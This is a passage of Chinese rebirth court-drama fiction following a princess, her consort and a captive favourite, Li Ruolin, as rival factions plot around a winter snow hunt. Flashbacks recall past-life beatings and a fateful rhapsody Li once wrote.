所以谢洇这话里有两层意思,一层轻贬王卓仪,一层则是在狠骂王宪。她倒是都听出来了,想来失笑出声,“你真是一年比一年放肆。” 谢洇侧脸笑了笑,“殿下先处置完李若林,再责问臣吧。” 王卓仪低头望向李若林。 这人此刻倒是收住了眼泪,垂眸于地,若有所思。 趁着王卓仪和谢洇对谈,李若林在试图想透将才宋浓对他说的那一番话,然而王卓仪见他起念思考就难受。 “你在想什么?” “啊?” “能下去吃东西了吗?” 王卓仪的语气里藏着一丝无奈,“你饿死在我这儿,很晦气。” 李若林应声仰起下巴,牵长纤细的脖颈,眼神中的惶恐还没有彻底散去。 好要命的身段。 王卓仪沉迷过此人很多年,如今真是需要大量的精神才能摁灭那烧过两世的欲和爱恨,如此想来,她不得不又撇过了头。 见二人几乎同时回避彼此的目光,谢洇适时替王卓仪重复道:“殿下问你还闹吗?” 李若林没有回应谢洇,反而看向了王卓仪:“殿下肯见小人,小人就吃东西。” 王卓仪不禁好笑道:“我怎么见你?我穿着一身甲胄见你吗?” 谢洇在旁一时失笑,李若林则僵住了。 “你要死很容易。” 王卓仪说了句气话,“过了正月我给你痛快的,不用你折磨你自己。” “小人不是要求死。” 李若林借用“真心”,说得恳切又执着,“小人只是想求一个留在殿下身边的机会。” 王卓仪咄咄逼人,“你对我有什么用?” 说着指着头上的金簪笑问:“为我针灸吗?” “不是殿下……” 李若林吃瘪,王卓仪忽然发现,自己的戏谑竟能暂时摁住李若林的执着,索性道:“我告诉你李若林,好看的人我见得多了,在我看来你和宋浓送来的那二十个少年没什么区别,不要以为你穿了一只耳引我一时瞩目你就真正入了我的眼。我身边的人,不光要生得好,还要对我有用。你自己留在铜镜台里好好想想,你这李氏罪人,除了中伤我的清名,令驸马受辱 ,对我还能有何助力?想好了来告诉我。若我觉得有道理,你留。若没道理……” 没道理能怎么样? 将才狠话已经对着他放过了,再说一遍王卓仪觉得没意思,索性丢下那半句让他李若林去辗转反侧,直身走了。 谢洇替她善后,对吴盈道:“你带他下去好好用些水食,若他脾胃不好,来告诉我,我提点厨下给他调理,不要打扰殿下。” …… 说完整理衣冠,不紧不慢地追向王卓仪,平声道:“将才臣和殿下说的话都有些过了,希望臣和殿下,都当没有说过。臣先请罪,再问殿下,今日安否。” 王卓仪回头见谢洇躬身于身后,方站住脚步,应道:“免罪,今日稍安。” 谢洇直起身又问道:“那殿下用膳了吗?” ‘哦,我和宋浓吃过了。”说完正要让谢洇下去,想着今日在君臣之外,倒是和他说了几句实在话,心情莫名自在,破天荒地又添了一句“兔肉切得不少,叫人另起锅子,你也趁便去吃些吧。” 谢洇道:“臣今日斋戒。” 他这样扫兴王卓仪没觉得有什么,随口道:“就要入正月了,你要斋戒到什么时候?能入宫侍宴吗?还是要我替你告罪回避。” 谢洇摇了摇头,“再敬神佛也比不过侍奉人君,臣自是要立席的,况且历年雪猎都在元宵前后,今年明月园竣工,陛下和内宫大有可能要驻跸园中。殿下不便庶务,臣不敢推辞。” 谢洇说的雪猎是建元帝和萧后最爱的冬季娱兴,哪怕建元帝一年比一年病得沉,西山的火炉炭盆也是一年比一年烧得多,雪猎这一项,建元帝从来不肯免。 王卓仪记得建元四十三年的那场雪猎。 对于她来说,两次雪猎之期虽都在大雪之后,满地银白,凄美具同,然而她的经历却大相径庭。 第一世,天子率内宫驻跸明月园,王卓仪不顾声名,带着十八岁的李若林列席。 猎宴上,他一赋惊鸿,赢得满座华彩,如同一件人人皆想得到美器,脆弱、优雅。会聚了所有贪婪艳羡的目光。 而他始终侍奉王卓仪身侧,众目睽睽之下,将自身的归属,羞怯而郑重地交给了王卓仪。 王卓仪问他要什么赏赐,他却说:“小人想为殿下猎一只银狐。” …… 准。 当然准。 王卓仪亲自携李若林下林场,可他最后却不知道为何,不慎射伤了宋浓的右臂。 王宪为此大怒,命人将李若林绑在马后,要一路将他拖死。 王卓仪本在林中同归仁县主争夺一只银狐,听到消息之后,不顾谢洇的阻拦,掉抓马头拼命追上了拖行李若林的人马。 那时李若林已经被马拖得奄奄一息,王卓仪砍断他手上的拖绳,将他护在身后。 王宪看着王卓仪焦急的神情,忽然问道:“想要孤放过他?” 李若林已然说话艰难,却捏着王卓仪的衣袖不住地向王卓林说:“对不起。” 那是王卓仪最爱李若林的时候,明知道王宪要提什么条件,却还是为李若林下了软话。 “我要留他的命,皇兄要什么?说吧。” 王宪笑道:“你表兄才任西陇督军,千头万绪事务繁忙。孤看不要让他在番库盘点和解运上分心。” 王卓仪道:“皇兄请旨就是。” 王宪道:“你点了头,孤才好请旨。” 她最终为李若林点了头。那一年春天,远在西陇的表兄失去了一笔巨大的军费,王宪向她挥出了瓦解萧、谢联盟的第一锄。从此她逐渐陷入了万劫不复的境地。 至于第二世…… 第二世雪猎上没有李若林,只有她弯弓搭箭,独自猎杀了三只银狐,大气地送给了建元帝和宋氏兄妹,气得归仁县主在昌平长公主面前哭得泪流满面。 “雪猎之期定了吗?”王卓仪问谢洇。 谢洇回道:“黄门寺尚未议定,但已向臣露过七八分意思,殿下放心,臣会替殿下听着旨意。” 10.雪中聆旧(十) 洛阳东府,烛火昏黄的游廊。 宋浓穿过重重叠叠的青缎帷幕,走向悬月堂。 那是王宪居室,东西各配侧堂,西面悬匾“凌云”,东面是王宪亲提的“问醴”。王宪就在问醴中看书,宝林张游惜和何玉袖坐在灯下同做针线,张游惜一面劈线,一面看顾着一铫药茶。 二人见宋浓进来,忙放下针线站起身向宋浓行礼。 “良娣回来了。” 宋浓向王宪行过礼,方伸手搀起二人,含笑问道:“你们绣什么呢?” 张游惜道:“哦,我二人想给良娣绣一对护膝,那西山雪猎冷得很,良娣必是要从殿下去的,这有身子不比从前,还该讲究。” 宋浓在张游惜身旁坐下,抬头对书案后的王宪道:“妾正想回殿下,今年西山雪猎,妾就不去了。” 王宪矮书,将好看见张、何二人脸上露出一丝期许。他不置可否,从张、何二人脸上移开目光,反问道:“你还怕归仁吗?还是当年的事没忘?” 宋浓垂眸,眼前是张、何二人精湛无比的绣工。 “我……怕身子重了,服侍不好殿下。” 王宪抬手继续看书,似随意道:“你不在席,孤倒要和宋怡刻意解释。” 宋浓笑道:“兄长勤于事务,哪里在乎这些。” 王宪又道:“你跟寿灵告假了?” 宋浓巧答道:“自是要说的,但妾始终是殿下的人。” 王宪听了不应反笑,袖下书简抖得哗哗作响,东堂里“当面说的?你今日过去,见到寿灵了?” “是,在明月楼上和寿灵一道用了饭。” 王宪“嗯”了一声,又道:“孤听传话说,是宋怡送你回来的。他怎么又去明月园了,是去访谢洇还是见寿灵?” 宋浓见王宪语调闲淡,也没有遣退张、何二人的意思,便也识起针线筐,帮张游惜一道理线,一面和王宪说话,“倒不是兄长自行去的,是寿灵恐我路上不好走,让兄长前来护送。哦,对了。” 宋浓刻意顿了顿,等王宪朝她看来,方继续道:“寿灵还让我兄长,把李家的那个人带走。” 王宪眉头一跳,疑声道:“李家哪一个人?李若林?” “对。” 王宪总算是放下了书,问道:“怎么她不喜欢李若林吗。” 宋浓含笑摇头,“妾倒觉得正好相反。” “怎么讲?” 宋浓的丝线劈得又快又匀净,绕线的张游惜已经有些跟不上她的速度,宋浓手上的活干净,口中也是调理清晰,“寿灵今日让我送去的那二十来个孩子陪我用了饭,其间她去更衣,我寻了一个机会,和李书常说了几句话。” “哦,有什么特别的?” 宋浓笑了笑,“倒有一件事。殿下还记得,寿灵生辰那日带李若林去过素居吧。” “嗯。” “就是那一阵,李若林用一柄簪子行刺了寿灵。” 宋浓说得平静,王宪却坐起了身子,“你说什么?李若林要杀寿灵?” 张游惜和何玉秋面面相觑,双双放下了针线。 王宪回想生辰宴上的情景,继续说道:“那日寿灵后来回宴上,神色是不自在,但因为你坠梯,她又因护你受伤,便都紧你们的事去了。” 宋浓应道:“是,妾当时也没能留意。” “李若林行刺的原因……”王宪蹙眉轻敲案面,“你问到了吗?” 宋浓摇头道:“这就不是李书常能探到的事了。不过当时惊动了侍卫,园中知道李若林行刺寿灵的人不少,我们走了以后,谢洇要把李若林吊死在铜镜台,寿灵拦了下来,不仅赦免了李若林,还让人封锁了这个消息。殿下想,寿灵若不喜欢李若林,他此时就应该是具尸体了。” 王宪握书沉吟。 宋浓放平声音道:“殿下,他既想杀寿灵,寿灵却杀不了他,李若林这个人,比李常书更好用。” 王宪嘴角微扯,倾身向宋浓,“他是李家的二公子,常年在西陇,也能没入得孤的眼,后来获罪,又一直被萧惟春擒在手里,也不好捏,如今已经成了寿灵的内宠……” 王宪蹙眉,“该怎么相交?” 宋浓道:“西山雪猎,是个机会。” “你给了他口子?” 宋浓点头,“给了,但我不知道他听懂了没有。” 王宪笑道:“无妨,听不懂那就是个蠢货,我们也不必用了。” 宋浓应道:“殿下说得是。” 王宪顿时笑开,抬起书简指向宋浓:“就这么定了,西山雪猎还是你陪着孤去。” 他说完这句话,铁铫下的炭火忽地熄灭了,宋浓看了一眼张游惜和何玉秋,看着她们如火星一般渐渐暗淡下去的目光,有些想笑,却又觉得自己不堪。 “都去吧。” 她对王宪道:“妾身子重了,也要人作陪。” 王宪站起身,独自朝正堂走去,一面走一面唤人道:“传少府来。”说完扔给三个女子一句:“不是什么大事,你们听良娣做主。” ** 王宪让宋浓做西山雪猎的主,明月园中做主的人就是谢洇了。 正月间,王卓仪连日入宫侍宴,夜深不便出城,就直接宿在了寿丘里的公主府,独谢洇往来两处照应。 对明月园的仆婢和像李若林这样的内宠来说,遇上如谢洇一般的主人无疑是很幸运的。他身荫谢氏世代传承的家学,学儒也兼修净土法门,擅清谈,却又常持入仕的主张,最重要的是,他知行合一,甚至愿意将一身涵养,赠给园中那些令他声名蒙羞的少年。 这日是正月初六,距谢氏的正旦宗庙祭祀已过去了几天,谢氏为了迁就谢洇,特将从前在祭祀后举行的族会延后了到了初六,这一年族谱重修,各户将过去几年的生、死、婚、嫁等重要事项承报族正谢楼,谢洇为父掌笔书记,及至族会末尾,谢楼亲自替自己的儿子挑香,顺此看了一眼谢洇脉下,李善宁已被削出,留下谢存玉一个孤女,如今看着,也快死了。 谢洇的姐姐谢冬闻在旁叹道:“我就说你当年不该纵着李善宁带走玉儿,她若还在咱们家里,何及如此。那时她非要这派头,作践了你把玉儿改姓,入了她李家宗祠。现如今,李家宗祠都快没了,她……” “够了。”谢楼咳了一声,“正月间,你回家来也不知道忌讳。” 说完,示意他放笔,召他近身前道:“如今李氏怎么死都无所谓,番库还在西陇空放着……哎,韩州旱了快三年了,人死得多,眼看疫病渐起,宋氏的根基虽然离韩州近,我劝了他们很久,他们也不肯舍银放粮。我的意思是,西陇这一项,若能挪进你的度支衙,你我父子,就竭力保一保韩州。” 谢洇应声:“父亲说的是。” 谢楼拈须,沉吟了一阵,又道:“据你看,若让萧惟春点算解运,寿灵公主会克下多少。” 谢洇道:“她已经跟我说过了,三分,充为西陇军费。” “嗯。” 谢楼点头,“若是太子点运呢?有探到消息吗?” 谢洇摇头:“太子和宋氏虽厚,但独不信宋怡,所以暂探不出。” 谢楼道:“想也不用想,能给国库留下一分就不错了。” 他说完,拍了一把谢洇的肩:“好好侍奉寿灵公主。” 谢洇拱手:“儿子知道。” 谢冬闻在旁忍不住道:“这年还过吗?。” 谢洇见谢冬闻不快,含笑哄她道:“阿姊出降,我又侍奉公主,难得见一面,倒不必为我的事难过,等我写完这一笔,我随阿姊去寿丘里逛逛。” 谢冬闻叹了一口气,“我是想你什么时候才能和寿灵公主有一个……” 说到此处,她也有些说不下去了,苦笑道:“我不是谢家的人我知道,可你也不成谢家的人了。我心里说不上来是什么滋味。只当是天家真好,那做女儿家的,也能把你的名字写在她那一脉下面。” 原本热闹的族会,被谢冬闻的这番话给泼冷了,谢洇明白自己在家中久留不好,索性趁送谢冬闻回家,提早辞了出来。 送回谢冬闻后,天色尚 早,但既是告了假,他也实不想去王卓仪面前立规矩,乘车在寿丘里随意转了一圈,买了几张好皮子,也没甚意思,想起明日初七,是人日,要备七菜粥,王卓仪不在,明月园里自然是便宜从事,便叫车夫调转了马头。 回到园中,谢洇在芙蕖海边的一处临水亭上将“七菜”摆开,令仆婢挑选,又命吴盈开了铜镜台,把李若林等人带到了亭中。 这日风晴日好,过了午时仍有和暖的阳光。 水亭临藏书的清风楼,谢洇命人取了《尔雅》《孟子》两册下来,坐于众人中,展卷闲讲。 李若林独自一个人,站在亭外的石阶下面。 他还在想宋浓对他说的那番话。 “西山雪猎你去不了,你一辈子都会被锁在这园里,可是你也世家出身,你不想入洛阳贵人的眼吗?” 洛阳贵人,除了王卓仪,还有两个,一个是天子的胞姐昌平长公主,还有一个就是太子王宪了。 所以宋浓想让他入的是太子王宪的眼。 李若林凝眉,心道也对,这两天家兄妹在洛阳明争暗斗了这么多年,谁不想在对方身边扎根针。 他如今留在了王卓仪的身边,是可以做王宪的一根针的,然后让王宪做他的一把刀。 可是,他出不了明月园,怎么才能入王宪的眼呢? 李若林再次回想宋浓的话,想到了“西山雪猎”。 上一世的西山雪猎就在正月之后,他为什么没能去得成? 李若林正在回想,却听谢洇问他:“你是觉得讲得浅了吗?站在那儿不肯进来。” 怎么会浅呢? 李若林已经有整整十年,没有看过,写过一个字了。 想到此处,他心中忽地轰然一响,猛然想起了上一世他为什么没能去成西山雪猎。 建元四十四年,正月初六,就是今日,他挨了王卓仪一顿毒打,整整一个月,下不来床。 那一世的今日,他被禁在素居,百无聊奈。黄昏时谢洇入素居,将一幅寿灵公主西山集宴图,悬设室中。那副画是王卓仪所绘,画上明月楼边贵女齐集,明月楼下,跪着他和二十余少年。 王卓仪写意传神,他一眼就认出了他自己。 他望着那副画良久,观画成赋,最后落在了素居案头,那一夜他在案边待候王卓仪,久不见王卓仪回头,不觉伏案睡去。不想却在梦中被人一把掀起,清醒时已被拖到了王卓仪面前,王卓仪掐起他的下巴,手里是那篇已然揉皱的《西山赋》。 “殿下……” “你又起了什么心?”她说完就给他一巴掌,随后将那篇赋文狠狠投入了火盆中。 那时的王卓仪癫狂,愤怒,满眼怒火映着火盆里的焚书火,几乎要将他挫骨扬灰。 “你到底想干什么?!” “没有……小人没有……” 他惶然不知所措,不知道自己做错了什么,只能一味地向王卓仪求饶。 然而回应他的是王卓仪越掐越紧的手指,纤长指甲嵌入皮肉,他不自觉地扭动着身子。 “殿下……疼啊……” “疼你就去死!” 李若林后来在想,其实如果在那一夜里死去,也挺好的,至少他不会再经历之后的那十年死寂。然而王卓仪没有轻易放过他。 她命人把李若林拖拽到素居外,李若林的手脚尽被捆起,荆棍沾了水毫不留情地扯开他的寝衣。 王卓仪站在阶上,双手紧握,满眼通红,听着荆条抽杀的声音,以及李若林几乎叫哑的痛呼声,竟颤栗着抱紧了她自己,缓缓地在冷白的月光下蹲了下来。 她在发抖,好像还在哭 可她到底在愤怒些什么?又在难过什么?还是说她也很害怕? 李若林怎么也想不明白。 刑毕后,他痛得在阶下扭成一团,浑身抽搐地望向王卓仪,试图从她的眼神里找到那么零星半点的答案。 那一刻他觉得自己有些低贱,他这么惨了,可心底为什么有一个隐约的声音在对他说:“你活该。” 11.雪中聆旧(十一) “李若林。” “啊?” 李若林从那阵无情的回忆里回过神来,见谢洇和少年们都看着他。 七菜粥鲜亮的食材被仆婢翻挑在日头下面,芙蕖海上微风徐徐,粼粼波光映照着无数年轻的身影。 节气,物候皆清润明媚,似是要逼着他承认,那不过是个噩梦而已。 “你怎么了?”谢洇问李若林。 李若林仍然立在阶下,随口应道:“我没怎么。” 说完看了一眼谢洇膝上的《尔雅》,问道:“我们还有必要再读这些书吗?” 谢洇道:“为何不读。” 李若林看向李书常等人,他们皆不过十六七岁,有像李书常这样的世家出身,也有靠着皮囊乐舞辗转于酒色之间的的优伶之辈,王卓仪一举抹平了他们这些人的身份,同样发落下来,皆是宽衣披发,做着上不台面的勾当。 李若林撇过头去,看着水中自己倒影,闷声道:“难道驸马还想让我们这些人,在这明月园中兼济天下吗?” 与李若林的愤懑相比,谢洇的神情和语气一直是平和的,他把书简放向一旁,对李若林道:“不想兼济天下,你想做什么?” 李若林径直道:“我想见寿灵公主,我想去西山雪猎。” 谢洇笑了笑,并没有接李若林的话,反而承下了自己将才的话头,“或许你可以想一想昌平长公主身边的顾微言,那是行伍出身,如今不也官拜五曹尚书了吗?” 这话,谢洇上辈子说过。而李若林也真的起过这一层心。 对当时的李若林来说,屈辱是可以隐忍的,王卓仪是公主,又是萧、谢二族实际上的族正,侍奉王卓仪并不意味着他只能做一个寂寂无名的奴隶,只要王卓仪愿意,偶尔把他身上的束缚解开,或者就算她不肯解开,仍然在他腰上拴着一根绳子,但只要她准许他走出明月园,在建元朝,他李若林就有机会登堂入室。 他不蠢啊,也不是一个死要清白的硬骨头,他会在内温顺地侍奉王卓仪,然后借着她的名利,在外头去铸一把自己的刀。 可是…… 他又想起了那一顿毒打。 如果说当时李若林因谢洇的话对人生燃起过些微希望,那么今日再听到这句话,他连笑都笑不出来。 王卓仪身上应该有着某种古怪的隐疾,看不得他一点好。 所以谢洇还是太看得起他,太看不起王卓仪了。 思绪飘忽,恍然中,李若林闻到了一阵他已经有些陌生的墨香。 亭中众人已经各自领了课业,李书常伏在亭阶旁的一方木案上默记《释草》篇。 木谓之华,草谓之荣。 不荣而实者谓之秀,荣而不实者谓之英。 李若林看着那两行如蚁爬虫走的所谓李体,不禁蹙眉,脱口道:“你这手李体是谁教的。” 李书常一愣。 他自幼父母娇养,志不在治学,习李体也不过是为了敷衍李氏家学,给自己镀一层虚金而已,此时被李家正统质疑,顿时面露怯色。 “小人……” “李体乃李氏家学之珍,甚如家族徽印,你写成这样,户上还敢以连宗自居,不是忘本吗。” 李若林打断李书常,冷脸说了这样一番话,说完才反应过来,现下他哪里还是什么李氏正统,不过是和李书常一样的罪奴罢了。李书常祖上也是倒了八辈子的血霉,才会赶着和他门上连宗。 不过,李书常纯得像一块白玉,竟一点都没有想到这层关联,甚至为自己的技拙而感到羞惭。 “对不起二公子……” “谁是二公子?” 李若林看了一眼自己身上的白衣,压低声音,“想让人看你我的笑话吗?” 说完转身就走,一心只想快速远离这一阵让他心酸的墨香,却听谢洇在亭上道:“李若林,我一人教不了他们。” 李若林猛地回起头,语速极快,“所以呢?你要我教他们吗?” 谢洇应道:“其实你将才话也对,身为殿下的内者,修身是一层,修艺又是另一层,殿下喜文墨,却不全在“三玄”之内,也好美赋、好字、她自己则尤擅丹青。” 他说完,从手边取来一卷轴,命仆婢展开。 李若林的心脏猛一收缩,果然该来的始终会来,那幅画不是旁物,正是《寿灵公主西山集宴图》。 “观画题跋。”谢洇的声音传入李若林之耳,“李若林,你先做一演示。” “不可能!” 李若林几乎想也没想地拒绝了谢洇,说完这句话,手指下意识地一抖,“你要弄死我吗?我今日碰了笔墨明日就别想下得来床了。” 对,上一世的那篇《西山赋》换来的那一顿毒打,让他在榻上整整躺了一个月,如今想来还是幻疼阵阵。 可是,当下众人谁知道他在说什么呢? 李若林看着李书常疑惑的目光,脖子一哽,为了收住情绪和声音,不得不掐了自己一把。 “我的意思是……” 他说着顿了顿,目光闪避开来,“我的意思是,我如今没有身份来教他们,而且我的李体,写得也不好……” 他未说完,眼前竟横递来一支笔。 仲秋取毫的兔毛笔制得十分讲究,那笔端齐整的竹管截口,像他被王卓仪狠狠阉割的人生断口一般,干净利落、了无希望。 他有整整十年,没有碰过笔了。 李若林看着那支笔,哑然失笑。 王卓仪啊! 怎么可以对他如此变态。 ** 明月楼下,王卓仪的耳根有些发烫。 今日建元帝又犯了头疾,内宫年宴提早结束,连人日宴也取消不办了。 王卓仪也就提前回了明月园。 吴盈等措手不及,不免问道:“还以为殿下今日仍要宿在寿丘里,正要跟过去服侍,不想竟回来了。” 王卓仪道:“哦,父皇身子不好,就叫退了。” 吴盈担忧道:“那,后头的西山雪猎……” 王卓仪应道:“那倒不打紧,日子都定下来了,黄门寺明日就要上西山打帷,纵然父皇不去,也不过是少了内宫女眷的热闹,咱们还是该乐自己的乐自己的。” 吴盈听他这么说,顺势问道:“殿下携谁随侍呢?” 王卓仪道:“谁让你来问我的?谢洇吗?咳……” 正说着,王卓仪忍不住咳了一声。 内宫常年熏一种独方药香,昌平长公主等人倒是都习惯了,唯独王卓仪闻着刺鼻。 “此事再说吧,先去备水吧,我要沐浴更衣。 含朱唯恐下人仓促不周到,亲自跟了吴盈过去预备。 王卓仪便上了明月楼,独坐闲等。 因她只一人,楼下水亭上的谢洇等人,一时间都没有留意到她。 王卓仪靠在楼边朝下看去,将好看见李书常递向李若林递过那支兔毫笔。 与此同时,王卓仪的手掌忽然刮上了楼栏上的一根的倒刺,她抬起手却被刮开了一层薄皮,她禁不住“嘶”地吸了一口气。 和李若林一样,她的内心也被那段锐如刀尖一样的回忆狠狠地扎了一道口子。 虽然已经过去了十多年,但王卓仪依然能想起她上一次看到李若林写赋文时的恐惧。 在他们的第一世里,李若林在她身边,写过很多篇赋文,而那见世的第一篇就是出自建元四十四年的初春。《西山赋》,所记是寿灵公主生辰宴景,其文长不过五百字,却曾在那场群贤毕至的西山雪猎中,被吏部尚书顾微文一手托起,亲自诵读。 至此,一个命当被斩首的罪人,一个本该被唾弃的污浊内宠,因那一手“绣虎雕龙”镀上了第一层清白的颜色。 是她王卓仪把那篇赋文送上西山雪猎的集宴上的,不过是因为她那点虚荣,向俗世炫耀她膝下承欢美人的才情。 而李若林也没有让她失望。 少年行文遣词择兰,发气吞云。 猎宴上,顾微文对昌平长公主笑道:“长公主殿下邀来的长秋四名僧,也比不过一个李若林,一篇《西山赋》怕是不够展才,也不应今日之景,且再写一篇,就好作宴集之叙了。” 是时,李若林搁笔时放袖抬头,在众人欣羡的目光中,向她望来一眼,得体从容又含着一层只让王卓仪看出来的羞怯。 “不知殿下是否允准。” 他秀美,才华横溢,也对她温顺、谦卑。 那一刻,王卓仪真的什么都想给他。 所以第二世,当她又被那一篇《西山赋》引动心弦的时候,恐惧也同时涌上了心头,恨意终于胜过一切,她终是让李若林痛死在了他自己的文墨之上,让他害怕,甚至让他恐惧,让他那一辈子,想起诗文就两股战战,从此再也不敢握笔。 人心中的锦绣一旦凋零就很难再生长,直至他二十八岁,他徒剩一副初老的皮囊,王卓仪发现,她也不是很稀罕他的血肉了。 “来人。” 王卓仪几乎是下意识地喊了一声。 吴盈和含朱都不在,回应她的是贴身保护她的侍卫。 王卓仪一回头,便看到了侍卫腰间的偃月刀。 简直像一道注解,冷冰冰地提醒她,此生不要翻船。 “殿下有什么吩咐吗?” 有。 她想让人现在就上去,拶断李若林的手指,一劳永逸。 可是不知道为什么,这样的一股狠意却并没有像上一世那样给她带来畅快淋漓的爽意,相反,她感到了一阵无力。 她猜不透楼下的李若林此时到底在想什么,但是她明白,他一定很想再握那只笔。 恨意会催生蓬勃向上的生命力,王卓仪经历过她太清楚了,这样的生命力会让李若林比第一世还要偏执还要难缠。 这种生命力悄然刺到了王卓仪的内心,尽管她在这片万物即将破土生枝的时节,始终疲倦。 不过她不像上一世那样得害怕,毕竟她狠辣地活过,记得李若林和建元朝的每一个节点,就像是守在历史河流旁的一阵风,只要她愿意,只要她不因为那张脸和那一把瘦腰上头,她就能随时吹灭李若林自以为如灼灼烈火一般的人生。 一切都再于她想与不想。 所以要让他握笔吗?她自问。 “殿下?” 要……解开他手腕上的第一条镣铐吗?她再度自问。 “殿下您到底怎么了?” 王卓仪手指微握,终于回过神来。 流水声款款入耳,楼边竹帘被温暖的清风吹得窸窣作响,竹帘下的悬坠拨动王卓仪耳边的碎发,这真是十分晴好的一日。 王卓仪尚在一念之间徘徊,而侍卫的声音惊动了水亭中的众人,李若林陡然抬头,看见了明月楼边的王卓仪。 十年囚困的本能催动了李若林的双手,他下意识地想要撇开李书常递向他的那支笔,可当他看清王卓仪的神情时,他竟犹豫了。 那是李若林从未在王卓仪眼中看到过的神情,高高在上,也犹豫不决。只不过那阵犹豫中所含的不是对他卑微处境的怜爱,反而像藏着一些“杀伐过度”后的反省和谨慎。 李若林荒唐地冒出一个想法——当年的那个折磨他的变态,此刻好像在尝试做一个“人。 他忽然决定去握那只笔了。 与此同时,他暗暗给自己留了点余地,他想当他落笔纸上时,如果楼上的那个人有哪怕一点点反应,他都会立即停下手,跪到她面前去请罪。 可如果他落笔后,王卓仪还在楼边…… 那他就求王卓仪,带他去西山雪猎。 12.西山雪猎 明月楼边清风徐来。 隔着波光粼粼的水面,王卓仪目睹李若林写下了他今生的第一个字。 和西山雪猎时,顾微言让他提笔时的场景几乎一样,素面案上谢洇为他铺开左伯纸,他跪坐悬袖,纤细的脖颈如弯柳般低垂下来,白袖萦风,忽起忽沉。四周残雪晶莹,无边风流,尽力托起的人,是王卓仪六十多年的审美情致之顶。 王卓仪赏着那一弯细脖,而后再见他抬起头,临风隔水,朝王卓仪看来。 只不过那眼神不见当年场中的羞怯,他恐惧、试探、但也带着蓬勃的求生欲望,令王卓仪瞩目。 王卓仪的命啊 李若林的运啊。 老天坐庄,她王、李二人下注,“命”和“运”共奉桌上,赌得是“你死我活” 李若林已经买定离手了,穿着最后一层裹身的衣裳,看着对面金银堆山的王卓仪。 他赌红了眼大有不死不休的姿态。 王卓仪忽然站起身。 她不想再下注了,但还是想要去看一看,李若林放上赌桌是一个什么样的筹码…… ** 水亭上,李书常倒吸了一口冷气,忙不迭地要去夺李若林的笔和纸。 “你别写了!” 李若林挡开李书常的手,低呵道:“别碰我的字。” 与此同时,他抬起头迅速地朝明月楼上看了一眼,一股剧烈的恐惧流窜他的全身。 楼上已经没有人了。 但既然已经买定离手,他也不准备再后悔了。 十年折磨的经验在此刻告诉李若林,不能信王卓仪对他说了什么,而要去想,去试,直到弄明白,王卓仪到底想对他做什么。 李书常见李若林死死地捏着笔,护着袖下的左伯纸,不禁情急,抬头朝谢洇看去,“驸马,他……” 谢洇起身问道:“他写的什么?” 除了李书常,其余几个识字的少年也认出了李若林所写,但却没有一个敢宣之于口。 谢洇放卷起身,径直走向李若林的书案,一把起李若林的手腕,将他往旁侧一带。 他身量本就比李若林高,又使得全力,李若林顿时不抵,顿挫着跌坐于案后。 失去阔袖遮蔽的墨字跃然众人眼前,众人看后,又忙地低头回避。 谢洇拿起那一幅字,随即看向李若林,“你到底还要闹到什么时候?” 李若林坐在地上,闷声道:“你别管我。” 谢洇忍下情绪道:“我不管你是谁,公主府管束内宠的规矩从来没在我这里乱过。” 李若林向谢洇身后看了一眼,忽得声音上挑,“不是你说的吗?我在建元朝有最好的天赋。” 谢洇的手指掐住了纸张的边缘,他看着李若林,眼见他被人皮盖着的疯癫,此刻又悄然撩起了一丝边。 “不知轻重。”他给此人下了一道判词,随即冷下了声音,“来人。” “你把我送到这里你又不许我用我的天赋。” 李若林撑着地面豁然站起身,话虽是对着谢洇说的,目光却死死锁在谢洇身后。 “驸马你嫉妒小人吗?” 李书常已经被李若林给吓傻了,连劝说的声音都在发抖,“你到底在说什么啊,你快别说了……快别说了。” 谢洇本就不习惯和人争辩,何况李若林近来时疯时静,连好好和他说话都很难,更不提教训。 “把他带下去。”谢洇冷下了声音。 然而左右仆从尚不及上前,却忽听李若林唤了一句:“殿下!” 众人皆是一惊。 谢洇还不及回头,李若林已经踉跄几步越过了他,朝阶下一整个扑跪而去。 他牵颈仰头,放低了声音,与将才对谢洇的语调截然不同。 “殿下,你救我……” 阴阳之事,无所谓高低,也无所谓对错,最易无师自通。 除了王卓仪谁也看不准,李若林这一举动是在作死还是在求生。 众人惊讶于他的大胆和无谓,却不知道他早已拿性命和整个漫长的人生确定过一回,温顺、得体走不出生路。 是时,李书常等人也看清了王卓仪,忙随李若林一起跪下,向王卓仪行礼。 亭上独谢洇一人站立。 王卓仪没有回应李若林,反而径直从他身边走了过去,那步伐带起的风含着一股淡淡的瑞脑香,刺得李若林几乎漏呼了一口气。 “怎么了谢洇?” 王卓仪径直走向谢洇,“他对你不敬吗?” 谢洇摇头,“回殿下,并不是。 “你好像不是很舒服。” 谢洇拱手:“臣不值一提。” 李若林不知道王卓仪是不是故意,反正上辈子她也是这样,永远只维护谢洇,把他踩得一文不值。 “殿下……” 他忍不住又唤了王卓仪一声。 却收到了一句冰冷的“你住口。” 说完终于赏了他一眼,,“今日驸马如果不为你求情,李若林,你一定会脱一层皮。” 这句话是一片前世的阴影,可眼前又好像缺一个真实的印证,但王卓仪又添了一句:“来人,把荆条拿来,给他,让他在下面举着。”就这样引出了李若林的战栗。 李若林恐惧,反而让王卓仪平静。 她走到之前谢洇的坐处坐下,谢洇见无人服侍王卓仪,便亲自挽袖,替王卓仪斟茶。 王卓仪并没有接茶反而望向了被暂时搁置在一旁的那张左伯纸。 谢洇忙放下茶盏要去取纸,王卓仪却先一手拿了起来。 “殿下……” “你不用替他遮掩。” 王卓仪将纸张撑开,一面道:“我从来没有因为一个内宠连坐过你……” 话还未说完,纸已全展,王卓仪的话截在了口中。 谢洇看向亭中惶恐又无助的李书常等人,轻声道:“你们都先回铜镜台去吧,记着今日的课业,我得闲时亲查。” 众人这才如蒙大赦般的退下了,只有李书常一步三回头地看向李若林。 其实与李书常目光相对时,李若林也不太确定,他今日到底会不会重蹈覆辙。 惶恐之间,他听到王卓仪轻咳了一声,那张脆弱的左伯纸在她手中发出细碎的响声,映照出了李若林同样纤瘦的身影。 王卓仪原本在想,她应该会再次看到那篇她已经看过两次的《西山赋》。 因此从明月楼上下来,直至水亭,这一路上王卓仪说服了自己,这一次不再对他施以酷刑。她甚至连说辞都想好了,见面就告诉李若林: 如果要练字,就去抄鸠摩罗什大师所译《大品般若经》,从此修身养性,平静,善良地活一次。这篇写得很好,但下回别写了。 她就这么骗李若林,管他李若林听不听得进去呢。 然而,当她展开那张名贵的左伯纸,准备尽量冷静地兑现她对李若林和她自己的承诺,那张左伯纸上却只歪斜地写着《西山赋》的开头四字。 建元冬初…… 全文李体至此终了,之后满篇全是她一个人的名字。 王卓仪 王卓仪 